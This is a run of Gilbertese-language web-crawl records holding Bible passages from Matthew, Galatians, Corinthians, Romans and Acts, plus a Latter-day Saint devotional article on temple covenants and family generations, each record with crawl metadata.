Atua; 12ma te koraki ake a riai ni mena i nanon uean te Atua, a na teweaki nako nako nanon te roo are i moone, ike a na tang ma n tenai riaia iai bwa kaotan ae e a rootaki n te maraki ae e korakora. 13E taku ngkanne Iesu nakoni mataniwiin te taanga ni buaka are tebubua kaaina, Ko na nako; ao e na karaoaki nakoim n ai aron am onimaki. Ao e a kamaiuaki ana toro n te aoa naba arei. 14Ngke E rin Iesu n ana auti Betero, ao E noora tinani buni Betero bwa e wene n aoraki n te kabuebue ae e korakora. 15E riinga baina Iesu, ao e toki kabuebuena; ao neierei e tei rake ao e touati ibukina. 16Ngke e a tairiki, ao a uotaki nakoina aomata aika a bati aika a taniaki irouia taimonio; ao E kanakoia anti aika a buaakaka akekei ni mwaakan ana taeka, ao E kamaiuiia ni kabaneia aomata ake aoraki: 17bwa e na kakoroaki bukin are e atongaki iroun Itaia are te buraabeti ngke e kaangai, E kamaiuira mani mamaarara, ao e uoti nako aorakira. 18Ngke E nooriia aomata aika a rangi ni bati Iesu i rarikina, ao E tua bwa a na nako tanimainikun te nama. 19E roko te tia koroboki temanna, ao e taku nakon Iesu, Te Tia Reirei, N na iriiriko nakon te tabo are Ko na nako iai. 20E taku Iesu nakoina, Iai nneia ni maeka kameaanti ao ngaoia manin aan-nang, ma akea nnen Natin te Aomata ae E na kawenea iai atuna. 21Ao e taku ana reirei temanna nakoina, Te Uea, kariaia bwa N na nako n tauna moa tamau. 22Ma E taku Iesu nakoina, Ko na irai, ao katikuia maate bwa a na bon tauniia aia mate. 23Ngke E toka n te booti, ao a iria ana reirei. 24Ao nooria, e roko te buaka ae korakora n te nama, ao a bwaroa nanon te booti naao; ao E matuu Iesu. 25Ao a nakoina ana reirei ni kautia, ao a taku, Te Uea, kamaiuira; ti mate. 26Ao Ngaia E kaangai nakoia, Kam aera ngkai kam maaku, ngkami aika a karako ami onimaki? Ao E tei rake, ao E takua te ang ma naao, ao e a bati naba te ariki. 27Ao a miimii aomata akekei, ao a taku, Te aeka n aomata tera Teuaei, ngkae a ongo irouna te ang ma naao? 28Ao ngke E roko i tanimainikun te nama i abaia I-Ketara ao E aitara ma uoman te aomata aika a oti nako mani nneia maate. A taniaki uaakai irouia taimoio, ao a rangi n unun n te aro ae akea ae e konaa n ri kekei. 29Ao nooria, a takaarua ni kaangai, Tera am bwai iroura, Ngkoe, ae Natin te Atua? Ko nako mai ni kammarakiira ngkae e tuai n roko te Bongi ni Motiki-taeka? 30Iai te nanai ni beeki ae e bati, aika a kume n amwarake n te tabo ae e aki raroa mai irouia. 31Ao taimonio akekei a butiia ni kaangai, Ngkana Ko kaotinakoira, ao kanakoira nako nanoia te nanai ni beeki. 32Ao Ngaia E taku nakoia, Naako. Ma ngaia are a oti nako, ao a nako n rin i nanoia beeki; ao nooria, a bane ni biri nako beeki n toua are e rangi ni karaabee nako nanon te nama, ao a mate n te ran. 33A biri nako uaake a tararuaia beeki, ao ngke a roko n te kaawa, ao a karakini bwaai ni kabane ma bwaai ake a riki nakoia uaake a taniaki irouia taimonio. 34Ao nooria, a bane n oti nako kaain te kaawa arei bwa a na kawara Iesu; ao ngke a nooria, ao a butiia bwa E na nako mai abaia.\nMATAIO 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/8","date":"2013-12-11T18:11:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164041513\/warc\/CC-MAIN-20131204133401-00064-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":941,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:22Ti aei te bae I kan ataia mai iroumi, Kam anganaki te Taamnei ibukina ngke kam karaoi baika a tangiraki n te Tua, ke ibukina ngke kam ongo taekan te euangkerio ao kam kakoauaa? Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/2","date":"2013-12-09T05:50:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163906438\/warc\/CC-MAIN-20131204133146-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 0.9999970197677612}","num_words":50,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.18,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 1:1111ngkai kam buokira n tataro i bukira, bwa a aonga n tataro ni katituaraoi i bukira aomata aika a bati ibukin te kabwaia are ti anganaki bwa kaekaan taian tataro aika a bati. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/1\/11","date":"2013-12-04T23:43:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037851\/warc\/CC-MAIN-20131204131717-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000033378601074}","num_words":49,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:3434a na tai taetae aine n te bootaki n ekaretia nako; bwa e aki kariaiakaki bwa a na taetae; ma a na tauaki aroia, n ai aron taekana naba n te Tua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/34","date":"2013-12-09T09:45:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163954634\/warc\/CC-MAIN-20131204133234-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999793768,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 0.9999793767929077}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Taari, aio ae e tangiraki i nanou ao au tataro nakon te Atua i bukiia Iteraera, bwa a na kamaiuaki. 2Bwa I kakoauaiia ae a baabane nanoia nakon te Atua, ma akea aia atatai; 3bwa a aki ataa te aro are e na kaetaki iai aroia n reitaki ma te Atua, ao a kataia ni karaoa te aro are e na reke iai irouia; ao aroia aei e a oti iai bwa a rawa n are E a tia te Atua ni karaoia i bukiia. 4Bwa Kristo E a tia ni katoka boonganan te Tua i bukiia ake a reke irouia kaetan aroiai n reitaki ma te Atua n aia onimaki. 5Ao aei are e koreia Mote bwa taekani kaetan aron te aomata n reitaki ma te Atua n iran nanon te Tua: Te aomata ane e karaoi baikai, ao e na maiu. 6Ma aomata ake a reke kaetan aroia n reitaki ma te Atua n te onimaki a aki konaa n titiraki ni kaangai, Antai ae e na rierake nako karawa? (Ae nanona, bwa antai ae e na kaira rikaaki Kristo nakoira ). 7Ao antai ae e na ruo nako Abuto? (ae nanona, bwa antai ae e na kaira rake Kristo mai buakoia maate). 8Ma aei taekana n te Baibara: E rangi ni kaan te taeka nakoim, bwa ane i wiim ke i nanom; boni ngaia taekan te onimaki are ti tataekinna: 9bwa ngkana ko taekina Iesu ni wiim bwa te Uea ao ko onimaki i nanom bwa E a manga maiu iroun te Atua mai buakoia maate, ao ko na kamaiuaki. 10Bwa e onimaki te aomata i nanona ao e reke irouna kaetan arona n reitaki ma te Atua; e tataekina ana onimaki ni wiina ao e kamaiuaki. 11Bwa e kaangai te Baibara, ane e onimakinna ao e na aki kamaamaeaki. 12Te taeka aei bon i bukiia aomata ni kabaneia: bwa akea kaokoron te I-Iutaia ma te I-Erene, bwa ti temanna aia Uea aomata ni kabaneia, ae E kabatiai kabwaiaia aomata nako ake a butiia buokaia; 13bwa ane e taboa aran te Uea ao e na kamaiuaki. 14Ao a na kangaa ni wetea aran Teuare a aki onimakinna? Ao a na kangaa n onimakinna ngkana a tuai n ongo taekana? Ao a na kangaa n ongo ngkana akea te tia taekinna? 15Ao a na kangaa n tataekinna ngkana a aki kanakoaki? N ai aron are e koreaki ni kaangai: Ai tamaaroa ra waeia ake a roko n uoti rongorongoni baika a raraoi! 16Ma a aki bane aomata n ira nanon te euangkerio. Bwa e kaangai Itaia, Te Uea, antai ae e onimakina ara rongorongo? 17Ma ngaia ae e reke te onimaki man te ongoraa n te rongorongo, ao te ongoraa n te rongorongo e reke man tataekinani Kristo. 18Ma I taku, A tuai n ongo Iteraera? A bon tia-n ai aron taekana are e kaangai: E oti nako bwanaaia ni kabutaa aonnaba ni kabane, Ao a nako aia taeka nakon tabon aonnaba. 19I a manga titiraki riki ni kaangai, A aki ataia Iteraera? Aio moa ana taeka Mote: N na kabakantangingkami irouia ake tiaki oi ni bootanaomata, Ao N na kauningkami iroun te bootanaomata ae a nanobaba kaaina. 20Ao e taetae Itaia n aki maaku, ngke e taekina ana taeka te Uea are e kaangai: I a reke irouia akana aki ukoukorai; I kaotai nakoia akana aki titiraki taekau. 21Ma aikai ana taeka, aika ana taeka te Uea i bukiia Iteraera: aroarori baiu ni kabongnga nakon te botanaomata ae aki ongeaaba irou, ao e katei nakoiu.\nROM 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/10","date":"2013-12-10T14:14:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164020217\/warc\/CC-MAIN-20131204133340-00021-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":588,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.461,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a tia te baaire bwa ti na borau nako Itare, ao a anga Bwauro ma buure temwaangina nakon aia mataniwi tautia ae Iurio arana, ae mataniwia te taanga ni buaka ae tebubua kaaina ae ana taanga ni buaka Aukitito. 2Ao ti toka ni kaibuken Areramuteno tewaana, ae e nangi borau nakon taabo n rooro i Atia, ao ti borau; ao raora Arititareko ae te I-Mwaketonia mai Tetaronike. 3N te bong are i mwiina ao ti roko i Titon. E nano n aakoi Iurio nakoni Bwauro, bwa e kariaia nakona nakoia raraona ibukini buokana n te bae e kainnanoia. 4Ao ngke ti borau mai Titon, ao e tuutuuki te ang; ma ngaia are ti a ieie ngkanne ri rarikini Kubero n iterana are e aki kare maiai te ang. 5Ao ngke ti a tia n ri nanoni marawani Kirikia ma Bamburia, ao ti roko i Mura ae kaawan Rukia. 6E reke iai taekan te kaibuke tewaana mai Arekanria are e nangi borau nako Itare irouni mataniwiin te taanga ni buaka are tebubua kaaina, ao e katokaira iai. 7Ti ieie ni karaurau i nanoni boong aika a bati, ma ni kuri n aki roko ni kaani ma te kaawa ae Keniro, ibukina bwa e tukiira te ang; ma ngaia are ti a borau ngkanne ri rarikini Kirete n iterana are e aki kare maiai te ang, n ri rarikin te keekee are Taremone; 8ti biri ri rarikina ma te kaangaanga, ao ti roko n te tabo teuana ae arana Naamo aika a Raraoi, are e kaani ma te kaawa are Ratea. 9Ngke ti a maan n tiku iai, ao e a aki raoiroi te mwananga bwa e nangi reke te kabuanibwai iai ibukina bwa e a bwaka nako te Bong n Aki-mamatam, ao e anga ana taeka Bwauro n ibuobuoki, 10ao e taku nakoia, Mwaane, I ataa te borau aei bwa e na kamaamate, ao e na kabuanibwai, tiaki ti nakon te kaibuke ma kanoana, ma nakoni maiura naba. 11Ma mataniwiin te taanga ni buaka are tebubua kaaina e aki kan ongo n ana taeka Bwauro; e ongo riki iroun te kaaben ao te aomata are ana bwai te kaibuke. 12Ma ibukina ngke e aki raoiroi te nne n roro arei n tain te aumeaang, ao a bati i buakoia ake a taku bwa a riai ni borau maiai, ngkana tao a konaa n roko i Boinike, bwa a na kabanea iai tain te aumeaang; Boinike bon te nne n roro teuana i Kirete ae e taraa maiaki-maeao ao meaang-maeao. 13Ngke e wai ni karaurau te angi maiaki, ao a taku bwa e na koro bukin aia iango, ma ngaia are a taeka te atinro ao a borau n ri rarikini Kirete ni kaani ma mataniwiin te aba. 14Ma e aki maan ao e a kare naba te ang ae e baibati, ae arana te I-Meaangmainiku, mai aon te aba. 15E bo te kaibuke iai ao e a aki konaa ni buti ni kaaitaraa te ang. Ngke aakea te bae ti konaa ni karaoia, ao e a uotaki nako te kaibuke n te ang. 16Ti buti ri rarikin te aba teuana ae arana Kerauta, n iterana are e aki kare maiai te ang, ao ti kuri n aki konaa n irakea iai te booti; 17ngke a a tia n irakea te booti, ao a anai roobu ni mwanea rabwatan te kaibuke iai ni kabaea; a maaku bwa a rawa ni koro n te kaora ae e abwaabwaki are Tureti, ma ngaia are a tuka aia ie, ao a ukaki nako. 18Ngke ti a bon taonaki n te buaka ae korakora, ao a moanna ngkanne n tetewe nako kanoan te kaibuke n te bong are i mwiina; 19ao n te kateni bong ao a tetewe nako bwain nako te kaibuke n oini baiia. 20Ngke e aki kaakaoti taai, ao a aki kaakaoti naba itoi i nanoni boong aika a bati, ao ngke e aki keerikaaki matoatoani karen te ang, ao ai bon akea ara kaantaninga teutana bwa ti na kamaiuaki. 21Ngke e a maan te aki-mamatam, ao e tei ngkanne Bwauro i buakoia, ao e taku, Mwaane, e riai ngke kam ongo irou bwa ti na aki borau mai Kirete, ao e na aki reke iai te uru bwai ma te kabuanibwai ae aron aei. 22I tuangkami ngkai bwa kam na kabeebetei nanomi: bwa e na bon aki bua maiun temanna i buakomi, ma ti te kaibuke ae e na bua. 23Bwa e tei i rarikiu ngke e bong ana anera te Atua, are ana aomata naba ngai, ao are I tataromauriia, 24ao e kaangai, Bwauro, tai maaku, e riai bwa ko na tei i matani kautuun te tautaeka n Rom; ao nooria, ibukin ana aakoi te Atua nakoim, ao a kamaiuaki iai aomata ni kabaneia ake a borau ma ngkoe. 25Ma ngaia aei, mwaane, kam na kabeebetei nanomi: bwa I onimakina te Atua bwa e na boni koro bukin are e a tia n taekinakinakoiu. 26Ma ae ti na boni koro n te abamwakoro teuana. 27Ngke ai te katebwi ma aua ni bong, ngke e uouotaki ara kaibuke i nanoni marawan Areria, ngke tao e a nuukanibong, ao a taku i nanoia kaimoa bwa a kaania te aba teuana. 28A taua iabutin taari n aia bwai ni baire, ao a kunea iai bwa uabwi te ngaa nanona; ao ngke a nako riki teutana ao a manga taua riki iabutina, ao a nooria bwa tengauni ma nimanga. 29A maaka koron te kaibuke i aon rakai, ma ngaia are a kabwakaa aua te atinro maibukin te kaibuke, ao a bareka rokon te ngaina. 30Ao ngke a kakaaea angaia kaimoa bwa a na biri nako man te kaibuke, ao a kabwakaa te booti i taari bwa aongkoa a na kabwakai atinro mai moan te kaibuke. 31Ma e taku Bwauro nakon aia mataniwi te taanga ni buaka are tebubua kaaina, ao nakoia tautia, Ngkana a aki tiku uaakai n te kaibuke, ao kam aki konaaki ni kamaiuaki. 32Ao tautia a korea ngkanne te roobu are e bae iai te booti, ao a kabetinakoa te booti. 33Ngke e a kaani ngaina, ao e butiia kaain te kaibuke ni kabaneia Bwauro bwa a na amwarake, ao e kaangai, Ai te katengauni ma abong ngkai ae kam a tia iai ni kakaantaninga, ao kam tuai n amwarake naba teutana. 34Ma ngaia ae I butingkami bwa kam na amwarake, bwa ngaia maiumi; bwa bon akea temanna i buakomi ae e na bua maiuna. 35Ngke e a tia n atongi taeka aikai Bwauro, ao e anaa teutana te amwarake ao e tataro ni katituaraoa te Atua i mataia ni kabaneia; e anaa ngkanne teutana maiai, ao e kanna. 36Ngke a bane n reke raun nanoia, ao a amwarake naba. 37Mwaitiia ara koraki ni kabaneia i aon te kaibuke bon uabubua ma itingauni ma onoman. \"itingauni ma onoman,\" \"tao itingauni ma onoman.\" 38Ngke a nuai, ao a kabeebetea te kaibuke n tewea nako te uiita i tari. 39Ngke e a ngaina, ao a aki kinaa te aba; ma a noora te mwanoku teuana ae iai bikena, ao a iango bwa a na kakoroa te kaibuke iai, ngkana a konaa. 40Ma ngaia are a kabwarai mwiin atinro ni katiku i tari, ao a kabwarai naba kabaeani bweena; ao a irakea iena ake mai moa nakon te ang, ao a ie rake. 41A roko n te tabo teuana ae a aitibo taari iai, ao a kakoroa te kaibuke iai; e koro moana n aki konaa ni kakamwakuri, ao e uruakibukina ni korakoran naao. 42E a tia aia iango tautia bwa a na kamateia buure bwa e kaawa n uanako temanna irouia, ao e reke inaomatana. 43Ma iai nanon teuare te mataniwi n te taanga ni buaka are tebubua kaaina ni kani kamaiua Bwauro, ma ngaia are e tuuka aia iango tautia, ao e tua bwa a na ewe nako moa ake a konaa n uaua, ao a na uarake nakon te aba; 44ao ake nikiraia, a na toka temwaangina i aon raai, ao temwaangina i aoni bwain nako te kaibuke. Ao a bane ni kamaiuaki n te aro arei bwa a roko n te aba.\nMWAKURI 27","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27","date":"2013-12-12T10:48:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164580801\/warc\/CC-MAIN-20131204134300-00084-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1354,"character_repetition_ratio":0.059,"word_repetition_ratio":0.001,"special_characters_ratio":0.24,"stopwords_ratio":0.473,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10785_859_62cookMaium ae tamaroa e na kakabwaia am bakatibu, am utu ngkai, ao kain am utu n taai aika a na roko.\nI kakatonga n taetae nakoimi ataeinainen te Ekaretia aika kam kakaonimaki. Ti nora aron rikirakemi inanon kawaia nake a karinei aia berita, ao ti atai raoiroin maiumi bwa a kona ni kakabwaiaia ami bakatibu, ami utu, ao ami kariki n tai aika a na roko, bwa n aron ae taekinna Beretitenti Gordon B. Hinckley, \"Ngkana ko kamaiua te ataeinaine, ko kamaiuia rooro.\"1\nMaiumi kanga ai aron te aomata are bwabetitoaki ao n anganaki ana bwai n tituaraoi te Tamnei ae Raoiroi. E reitinako ni katoa wiiki n te Botaki n Toa, te tabo ike kam kaboua iai ami berita n te bwabetito. Ngkai aei ami tai ni katauraoi ngkami ni karaoi berita n te tembora. Taian \"otenanti aika tabu ao berita ake a tauraoi n te tembora ake a kona ni karekea okira nakon mweengan te Atua ao ibukin [ara] utu n ikotaki n aki toki.\"2\nTei n tabo aika tabu ibukia ami bakatibu. \"Aomata ake a roko n te aonaaba aei bon kanoaia rooro mairouia ara karo. Iai ingaingan nanora ni kan reitaki ma ara bakatibu.\"3 N irakin waki iaon rongorongon te utu ao te mwakuri n te tembora, kam karikirakea te reitaki ae kaan ma maiuia ami bakatibu ni katauraoan taian otenanti ibukiia.\nTei n tabo aika tabu ibukimi ao ami utu ake a kaan. Raoiroin ami katoto a na riki bwa buokan te kimwareirei ae bati, n aki tarai taian kaangaanga inanon ami utu. Ami rinerine ae raoiroi e na kamatoa karaoan ao kawakinan berita aika tabu ake a na kabaei ngkami ma am utu n aki toki.\nTei n tabo aika tabu ibukia ami utu n taai aika a na roko. Iangoa kabaeakimi ma buumi man te nakoanibonga ae tabu n te tembora ngkai kam moana katean ami utu ae akea tokina. Natimi a na kakabwaiaki ma te koaua ngkai kam mwakuria ami katoto ae raoiroi ma ami koaua ae matoatoa ni karikia bwa mwakoron mauia ni kaota kawain te berita nakoia.\nI nori reirei aika kaotaki n ana Kabo ni Korobanna te Aonaaba ae nako ibukia Kairake. Megan Warner Taylor are e karaoi mwakuri ni Korobanna, e karaoa te kabotau n ana kaikonaki Kristo ibukia kibono ake tengaun.\"4 Ngke I kaitibo ma Megan, e kamatata tamneia kibono aikai, are e kabwarabwara bwa ngaia te ataeinaine ae raoiroi ao man ana onimaki e a katauraoia ni karaoi ao ni kawakin ana berita inanon te tembora. N aroia kibono ake a wanawana, tauraoina i bon irouna e oti ngke e kamwaita bwaan ana taura, te timna imwiin te timna, man teimatoan maiuakinan te raoiroi. I nora bibiran irana ae koro tikiraoina. E kamatata Megan bwa te bibiri e tei ibukin teimatoan tamaroan maiuna nakon maiuia rooro aika mwaiti. Te bibiri are teuana e tei ibukin ana tangira te ataeinaine aei ao ni karineaia ana bakatibu, te kauoua kateimatoan maiuna ae raoiroi iaoia ana utu ae ngkai, ao te kateniua ni bibiri, reitan maiuna ae tatauraoi nakon maiuia rooro ake imwiina.\nI kaitibo ma temanna te ataeinaine are e moantaai ana katauraoi n te maiu n tamnein n tia ni karikirakea maiuna ae raoiroi inanon rooro aika mwaiti.\nNi bwakatain te namakaina ae Tebetemba, Ngai ma buu ti tataninga ara tai n rin inanon te tembora n ira karaoan taian otenanti. Raoraora ae Chris, e rinnako n te ruu. Ai kakukureira norakin te ataeinimwaane aei, are e a tibwa oki ni mitinare mai Rutia.\nNgke e nang waki te tetere, iai temanna te ataeinaine ae tekateka irarikiu. E takiakia taraakina, e momoangare, ao ni kaonaki n te oota. I rang kan kinaa, ngaia are I a kabwarabwaraai nakoina. E wirikirikia arana, Kate, ao I kinaa aran ana utu are a tia ni maeka i Michigan ngke a maeka ngkoa iai au utu. Kate bon natia te aine, are e a tibwa oki nimaua te wiiki n nako imwiin okina ni mitinare mai Tiaman.\nN tain te tetere e teimatoa n tiku te iango aei inanou, \"Kabwarabwara Kate nakon Chris.\" I kararoa te wirikiriki aei man au iango, \"N ningai, iaa, ni kanga?\" Ngke ti a tauraoi bwa ti nang nako, e a roko Chris bwa e na kaboo nakoira ao e rangin reke au tai. I katika Kate ao ni wirikiriki, \"Ngkami kairake aika kam raoiroi kam riai ni kinai ngkami.\" I kitana te tembora ma te kukurei bwa I ira nanon te wirikiriki.\nN okiran mwengau, Ngai ma buu ti maroroakina ara ururing ni kakaewenako ake a rootaki iai ana utu Kate. I a rangin kinaa riki Kate, ao e a tia ni buokai n ota ibukin tarakin moana are I noria inanon te tembora n te bong arei.\nKate e tiku n ana berita n tainako n ukoran tabo aika tabu. E ikawai n te mweenga ike e karaoaki iai te bootaki n utu, te kaai n tataro, ao ni kamatebwai booki aika tabu ni karaoa mwengana bwa te tabo ae tabu. Ngke e uarereke, e reiakina te tembora, ao te anene, \"I Love to See the Temple\" bon mamaten nanoia n aia botaki n utu. 5 Ngke e a ataeinaine, e tara aia katoto ana karo n ukoran te tabo ae tabu n nanakoia nakon te tembora n tairikin te wiikente n aki nako n tamnei ke ni katairiki n te tabo teuana.\nE rangin tatangira tamana, ao e kabongana mwaakana n nakoanibonga ni buokia ni karaoa ana berita n te bwabetito. E karaoaki te katokabai iaon atuna ao n anganaki te Tamnei ae Raoiroi. E taku Kate, \"I kukurei ni karekea te Tamnei ae Raoiroi, ao I ataia bwa e na buoka kawaiu nakon te maiu are e aki toki.\"\nE teimatoa ni kakabwaiaki ao ni kakukurei maiun Kate. Ngke 14 ana ririki, e moana ana reirei n te kauarinan ao e tatangira te tieminari, te tabo ae tabu n reiakina te euangkerio. N te bong teuana ao ana tia reirei e maroroakini kakatai ao ni kakoaua bwa ti na bae ni kaitarai. E taku i bon irouna, \"I aki tangiri kataaki; I aki kan ongo aei.\"\nBon inanon tabeua te wiiki imwina ngke tamana e uti n rangin mamara n Tabatin te Itita. E taku Kate: \"Tamau bon te aomata ae rangin marurung, te tia biri n ae ananau. Tinau e tabeaianga bwa e kanga ni mamaara ngaia are e a uotia nakon te onaoraki. Inanon 36 te aoa e korakora boona n te aro are e aki namakinaba rabwatana. E aki kona n rube matana, ma rabwatana e aki kona ni kakamwakuri. I uringa noorakina ao n taku, 'O e aera, e a bon riki aei. E eti au tia reirei n te tieminari. I a rinanon te kataaki.\"' Tabeua te wiiki e a motirawa taman Kate.\nN reitianko, e taku Kate: \"E boni matoatoa. Ko aki kan kabua te aomata ae totokanikai mai inanon maium. I ataia bwa te tia buokai ni karikirakea arou ke n aki rikirake. I aki tangiria bwa e na uruana maiu kioina ngkai ai tibwa 14 au ririki. I kataia ni kaaniai ma te Uea n aron au konaa. I kabatia warekan booki aika tabu. Aramwa mwakoro 40 e kaotia bwa te Mangauti e boni koaua ao rinanon ana Mwakuri ni Kamaiu Kristo I kona ni kaitiboaki ma Tamau. I tataro mwaaka. I korea rongorongou n au tienoro n angin te tai n aron ae I kona. I kateimatoa maiuakinan au koaua ni korea rongorongona. I nako n taromauri ao I nakoia Ataeinaine ni katoa wiiki. I raonaki irouia raoraou aika tamaroa. I kaan ma au utu aika akoi ao riki tinau, are boni ngaia buroon ara utu. I ukora ana kakabwaia te nakoanibonga mairoun tibu ao tabeman kaain te nakoanibonga.\"\nRinerine aika teimatoa aikai, n aroia kibono ake a wanawana, a kamwaita riki bwaan ana taura Kate. E kaungaaki n ana iangon ni kan kaitiboakina riki ma tamana. Kate e ataia bwa tamana e atai ana rinerine ao e aki tangiria bwa e na nanokawaki. E tangira te reitaki ma ngaia n aki toki, ao e ota bwa tikuna iaon ana berita e na kateimatoa riki reitakin maiuna ma ngaia.\nE ngae n anne, kakatai aki kona n toki. Ngke 21 ana ririki Kate ao ni kanakoan ana beebwa ni mitinare, e kuneaki bwa e kaentia tinana. Kate e na karaoa ana babaire ae kakawaki inanon maiuna. .E na tiku ni mweengana ni boutoka tinana ke e na nako ni mitinare? E kakabwaiaaki tinana ni mwaakan te nakoanibonga ao ni beritanaki bwa e na marurung. Ni koauan te kakabwaia aei, e waki nako Kate ma te onimaki ao n teimatoa n ana babaire ae e na nako ni mitinare.\nE taku Kate: \"I waki inanon au onimaki n aki ataa te bae e na riki, ma ngke I a mitinare, e a nako te roo, ao I a kaongoaki bwa e a korobukin ana kakabwaia tinau. I kukurei bwa I aki taona nanou ni kan beku ibukin te Uea. Ngkana a kaoti bwai aika kanganga, I taku bwa e kai toki am waki ao n aki kan reitia nako, ma ngkana ko karimoa moa te Uea, kakatai a na kairiko nakon kakabwaia aika tamaroa. Ko kona n nori baina ao ni kakoauai taian kakai.\" Kate e namakina koauan raoi ana taeka Beretitenti Thomas. S. Monson: \"Ara tai aika a rangin kakawaki a na kuneaki inanon tai aika kabanea ni kanganga.\" 6\nKate iai ana onimaki n aron aei ibukina bwa e ota n te babaire ni kamaiu. E ataia bwa ti maiu mai imwaina, te aonaaba aio bon te tai ni kataki, ao ti na manga maiu riki. Iai ana onimaki bwa tinana e na kakabwaiaki, ma man ana namakin iroun tamana, e ataia bwa ngkana arona bwa e anaki tinana, a na akea te kanganga. E taku: \"I a tia n tokanikai ni maten tamau, e riki bwa mwakoron kinakiu ae raoiroi, ao ngkana e anaki tinau, e na karaoaki naba n ae ti te arona. E na kakorakora au koaua ae matoatoa inanon maiu.\" 7\nE ukora te tabo ae tabu Kate te tairiki are I kaitibo iai ma ngaia n te tembora. Nanona ni kan kamatoa te reitaki ae aki toki are e roko rinanon te mwakuri n te tembora, e ira aia katoto ana karo n te nako n te tembora ni katoa tai.\nE karako te bwai ae e riki n te tairiki arei I kabwarabwara Kate nakon Chris, ma ukoran te tabo ae tabu n te Tabati are imwiina, Kate e nora Chris ibuakoia 100 kairake aika tuai n iein n tain aia taromauri kain te intitiute. Ikanne are a kinaiia riki i bon imarenaia. Tabeua te wiiki imwina, Chris e kaoa Kate bwa e na mataku ma ngaia n te maungatabu ni kabuta. A teimatoa n ukori tabo are a na kaoa iai te Tamnei rinanon aia kareke tangira ao n tokina a kabaeaki inanon te tembora, te tabo are a kaitiboaki iai. Ngaia ake kauoman a karaoa raoi mwiokoaia ni karo, n reita aia koaua n te babaire ni kamaiu nako nanon maiuia natiia mwaane aika teniman, ni kaota nakoia kawain te berita.\n\"Ngkana ko kamaiua te ataeinaine, ko kamaiuia rooro.\"7 Ana babaire Kate ngkai 14 ana ririki n tiku n te kawai ae tabu , e teimatoa ni kamwaita bwaan ana taura, ao n teina n tabo aika tabu e a tia ao ni kona ni kamaiuia roro. N ukoriia ana bakatibu ao ni beku inanon te tembora e a tia n kabaea nanona ma nanoia. Irakin te waki iaon rongorongon te utu ao te mwakuri n te tembora e na kabaei nanomi ao n anganiia ami bakatibu aia tai ibukin te maiu ae akea tokina.\nMaiuakinan te euangkerio ni mwengami e na kamwaita bwaan ami taura ao n reita te korakora n te maiu n tamnei ngkai ao ni kakabwaiaki iai ami utu ae e na roko ni kawai aika a bati. Ao iaona riki, n aron ae e taku Robert D. Hales, \"Ngkana ti karekei katoto aika a aki raraoi mairouia ara karo, ao bon tabera bwa ti riai ni bitaki … ao n reiakin katei aika eti ibukia roro ake imwiina.\" 8\nBaireia man ngkai ni kataa ami kona ni kaoni ami taura, bwa ami koaua e na matoatoa ao ami katoto e na reitaki ma maiuia rooro aika mwaiti, ngkoa, ngkai, ao rimwi. I kakoaua bwa maiumi ae raoiroi e na aki 